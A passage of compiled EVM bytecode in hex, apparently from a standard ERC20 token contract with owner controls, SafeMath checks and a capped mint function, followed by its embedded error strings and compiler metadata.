05060405180910390fd5b600061096d6106dc565b90506b161abe1919423a135900000061098f838361159290919063ffffffff16565b11156109b7576109b4816b161abe1919423a135900000061161a90919063ffffffff16565b91505b6b161abe1919423a13590000006109d7838361159290919063ffffffff16565b11156109e257600080fd5b6109ec8383611664565b505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a41611012565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c865780601f10610c5b57610100808354040283529160200191610c86565b820191906000526020600020905b815481529060010190602001808311610c6957829003601f168201915b5050505050905090565b6000610d53610c9d611012565b84610d4e856040518060600160405280602581526020016119336025913960016000610cc7611012565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d29092919063ffffffff16565b61101a565b6001905092915050565b6000610d71610d6a611012565b8484611211565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e0a611012565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ecc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610f52576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806118546026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061190f6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611126576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061187a6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611297576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806118ea6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561131d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806118316023913960400191505060405180910390fd5b61132883838361182b565b6113938160405180606001604052806026815260200161189c602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d29092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611426816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159290919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600083831115829061157f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611544578082015181840152602081019050611529565b50505050905090810190601f1680156115715780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611610576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600061165c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114d2565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611707576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6117136000838361182b565b6117288160025461159290919063ffffffff16565b60028190555061177f816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159290919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220df19934cdc9219e6758dc924199a0f6fcc7e7da57cba27cc9580a6d48c173a6a64736f6c634300060c0033
[ 38 ]